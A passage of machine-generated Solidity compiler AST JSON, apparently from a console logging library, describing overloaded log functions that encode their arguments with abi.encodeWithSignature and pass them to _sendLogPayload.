memory"}},{"id":27507,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27495,"src":"33211:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27508,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27497,"src":"33215:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27509,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27499,"src":"33219:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7626db92bcbe8fb38799da91134ebae6bc6c7b10cb0db567e752720b8fd9ae0f","typeString":"literal_string \"log(string,uint256,uint256,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":27503,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"33147:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27504,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"33151:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"33147:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27510,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"33147:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27502,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"33131:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27511,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"33131:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27512,"nodeType":"ExpressionStatement","src":"33131:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"33052:3:15","parameters":{"id":27500,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27493,"mutability":"mutable","name":"p0","nameLocation":"33070:2:15","nodeType":"VariableDeclaration","scope":27514,"src":"33056:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27492,"name":"string","nodeType":"ElementaryTypeName","src":"33056:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27495,"mutability":"mutable","name":"p1","nameLocation":"33082:2:15","nodeType":"VariableDeclaration","scope":27514,"src":"33074:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27494,"name":"uint256","nodeType":"ElementaryTypeName","src":"33074:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27497,"mutability":"mutable","name":"p2","nameLocation":"33094:2:15","nodeType":"VariableDeclaration","scope":27514,"src":"33086:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27496,"name":"uint256","nodeType":"ElementaryTypeName","src":"33086:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27499,"mutability":"mutable","name":"p3","nameLocation":"33103:2:15","nodeType":"VariableDeclaration","scope":27514,"src":"33098:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":27498,"name":"bool","nodeType":"ElementaryTypeName","src":"33098:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"33055:51:15"},"returnParameters":{"id":27501,"nodeType":"ParameterList","parameters":[],"src":"33121:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27537,"nodeType":"FunctionDefinition","src":"33236:193:15","nodes":[],"body":{"id":27536,"nodeType":"Block","src":"33317:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e743235362c75696e743235362c6164647265737329","id":27528,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"33367:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_e21de278b3902dab5803384c9ad03fb95c973bc87490e387079e41c7f244f118","typeString":"literal_string \"log(string,uint256,uint256,address)\""},"value":"log(string,uint256,uint256,address)"},{"id":27529,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27516,"src":"33406:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27530,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27518,"src":"33410:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27531,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27520,"src":"33414:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27532,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27522,"src":"33418:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e21de278b3902dab5803384c9ad03fb95c973bc87490e387079e41c7f244f118","typeString":"literal_string \"log(string,uint256,uint256,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":27526,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"33343:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27527,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"33347:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"33343:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27533,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"33343:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27525,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"33327:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27534,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"33327:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27535,"nodeType":"ExpressionStatement","src":"33327:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"33245:3:15","parameters":{"id":27523,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27516,"mutability":"mutable","name":"p0","nameLocation":"33263:2:15","nodeType":"VariableDeclaration","scope":27537,"src":"33249:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27515,"name":"string","nodeType":"ElementaryTypeName","src":"33249:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27518,"mutability":"mutable","name":"p1","nameLocation":"33275:2:15","nodeType":"VariableDeclaration","scope":27537,"src":"33267:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27517,"name":"uint256","nodeType":"ElementaryTypeName","src":"33267:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27520,"mutability":"mutable","name":"p2","nameLocation":"33287:2:15","nodeType":"VariableDeclaration","scope":27537,"src":"33279:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27519,"name":"uint256","nodeType":"ElementaryTypeName","src":"33279:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27522,"mutability":"mutable","name":"p3","nameLocation":"33299:2:15","nodeType":"VariableDeclaration","scope":27537,"src":"33291:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27521,"name":"address","nodeType":"ElementaryTypeName","src":"33291:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"33248:54:15"},"returnParameters":{"id":27524,"nodeType":"ParameterList","parameters":[],"src":"33317:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27560,"nodeType":"FunctionDefinition","src":"33435:198:15","nodes":[],"body":{"id":27559,"nodeType":"Block","src":"33522:111:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e743235362c737472696e672c75696e7432353629","id":27551,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"33572:36:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_c67ea9d1db4353b82da41ad5e5b85243320ba3a89399b41c13eee1ab804e84c9","typeString":"literal_string \"log(string,uint256,string,uint256)\""},"value":"log(string,uint256,string,uint256)"},{"id":27552,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27539,"src":"33610:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27553,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27541,"src":"33614:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27554,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27543,"src":"33618:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27555,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27545,"src":"33622:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c67ea9d1db4353b82da41ad5e5b85243320ba3a89399b41c13eee1ab804e84c9","typeString":"literal_string \"log(string,uint256,string,uint256)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":27549,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"33548:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27550,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"33552:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"33548:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27556,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"33548:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27548,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"33532:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27557,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"33532:94:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27558,"nodeType":"ExpressionStatement","src":"33532:94:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"33444:3:15","parameters":{"id":27546,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27539,"mutability":"mutable","name":"p0","nameLocation":"33462:2:15","nodeType":"VariableDeclaration","scope":27560,"src":"33448:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27538,"name":"string","nodeType":"ElementaryTypeName","src":"33448:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27541,"mutability":"mutable","name":"p1","nameLocation":"33474:2:15","nodeType":"VariableDeclaration","scope":27560,"src":"33466:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27540,"name":"uint256","nodeType":"ElementaryTypeName","src":"33466:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27543,"mutability":"mutable","name":"p2","nameLocation":"33492:2:15","nodeType":"VariableDeclaration","scope":27560,"src":"33478:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27542,"name":"string","nodeType":"ElementaryTypeName","src":"33478:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27545,"mutability":"mutable","name":"p3","nameLocation":"33504:2:15","nodeType":"VariableDeclaration","scope":27560,"src":"33496:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27544,"name":"uint256","nodeType":"ElementaryTypeName","src":"33496:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"33447:60:15"},"returnParameters":{"id":27547,"nodeType":"ParameterList","parameters":[],"src":"33522:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27583,"nodeType":"FunctionDefinition","src":"33639:203:15","nodes":[],"body":{"id":27582,"nodeType":"Block","src":"33732:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e743235362c737472696e672c737472696e6729","id":27574,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"33782:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_5ab84e1fba099b79ad99dc62242807811428e5c36b5f473a3b74e319a04c4089","typeString":"literal_string \"log(string,uint256,string,string)\""},"value":"log(string,uint256,string,string)"},{"id":27575,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27562,"src":"33819:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27576,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27564,"src":"33823:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27577,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27566,"src":"33827:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27578,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27568,"src":"33831:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5ab84e1fba099b79ad99dc62242807811428e5c36b5f473a3b74e319a04c4089","typeString":"literal_string \"log(string,uint256,string,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":27572,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"33758:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27573,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"33762:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"33758:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27579,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"33758:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27571,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"33742:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27580,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"33742:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27581,"nodeType":"ExpressionStatement","src":"33742:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"33648:3:15","parameters":{"id":27569,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27562,"mutability":"mutable","name":"p0","nameLocation":"33666:2:15","nodeType":"VariableDeclaration","scope":27583,"src":"33652:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27561,"name":"string","nodeType":"ElementaryTypeName","src":"33652:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27564,"mutability":"mutable","name":"p1","nameLocation":"33678:2:15","nodeType":"VariableDeclaration","scope":27583,"src":"33670:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27563,"name":"uint256","nodeType":"ElementaryTypeName","src":"33670:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27566,"mutability":"mutable","name":"p2","nameLocation":"33696:2:15","nodeType":"VariableDeclaration","scope":27583,"src":"33682:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27565,"name":"string","nodeType":"ElementaryTypeName","src":"33682:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27568,"mutability":"mutable","name":"p3","nameLocation":"33714:2:15","nodeType":"VariableDeclaration","scope":27583,"src":"33700:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27567,"name":"string","nodeType":"ElementaryTypeName","src":"33700:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"33651:66:15"},"returnParameters":{"id":27570,"nodeType":"ParameterList","parameters":[],"src":"33732:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27606,"nodeType":"FunctionDefinition","src":"33848:192:15","nodes":[],"body":{"id":27605,"nodeType":"Block","src":"33932:108:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e743235362c737472696e672c626f6f6c29","id":27597,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"33982:33:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_7d24491d69f4bc88a6e68cd8228b6698af11fe37f60f65c80e3f11428a8eba2f","typeString":"literal_string \"log(string,uint256,string,bool)\""},"value":"log(string,uint256,string,bool)"},{"id":27598,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27585,"src":"34017:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27599,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27587,"src":"34021:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27600,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27589,"src":"34025:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27601,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27591,"src":"34029:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7d24491d69f4bc88a6e68cd8228b6698af11fe37f60f65c80e3f11428a8eba2f","typeString":"literal_string \"log(string,uint256,string,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":27595,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"33958:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27596,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"33962:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"33958:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27602,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"33958:74:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27594,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"33942:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27603,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"33942:91:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27604,"nodeType":"ExpressionStatement","src":"33942:91:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"33857:3:15","parameters":{"id":27592,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27585,"mutability":"mutable","name":"p0","nameLocation":"33875:2:15","nodeType":"VariableDeclaration","scope":27606,"src":"33861:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27584,"name":"string","nodeType":"ElementaryTypeName","src":"33861:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27587,"mutability":"mutable","name":"p1","nameLocation":"33887:2:15","nodeType":"VariableDeclaration","scope":27606,"src":"33879:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27586,"name":"uint256","nodeType":"ElementaryTypeName","src":"33879:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27589,"mutability":"mutable","name":"p2","nameLocation":"33905:2:15","nodeType":"VariableDeclaration","scope":27606,"src":"33891:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27588,"name":"string","nodeType":"ElementaryTypeName","src":"33891:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27591,"mutability":"mutable","name":"p3","nameLocation":"33914:2:15","nodeType":"VariableDeclaration","scope":27606,"src":"33909:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":27590,"name":"bool","nodeType":"ElementaryTypeName","src":"33909:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"33860:57:15"},"returnParameters":{"id":27593,"nodeType":"ParameterList","parameters":[],"src":"33932:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27629,"nodeType":"FunctionDefinition","src":"34046:198:15","nodes":[],"body":{"id":27628,"nodeType":"Block","src":"34133:111:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e743235362c737472696e672c6164647265737329","id":27620,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"34183:36:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_7c4632a48572fa2d4647539e525c9742d692f8e780540d6116f897ab472257cb","typeString":"literal_string \"log(string,uint256,string,address)\""},"value":"log(string,uint256,string,address)"},{"id":27621,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27608,"src":"34221:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27622,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27610,"src":"34225:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27623,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27612,"src":"34229:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27624,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27614,"src":"34233:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7c4632a48572fa2d4647539e525c9742d692f8e780540d6116f897ab472257cb","typeString":"literal_string \"log(string,uint256,string,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":27618,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"34159:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27619,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"34163:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"34159:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27625,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"34159:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27617,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"34143:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) 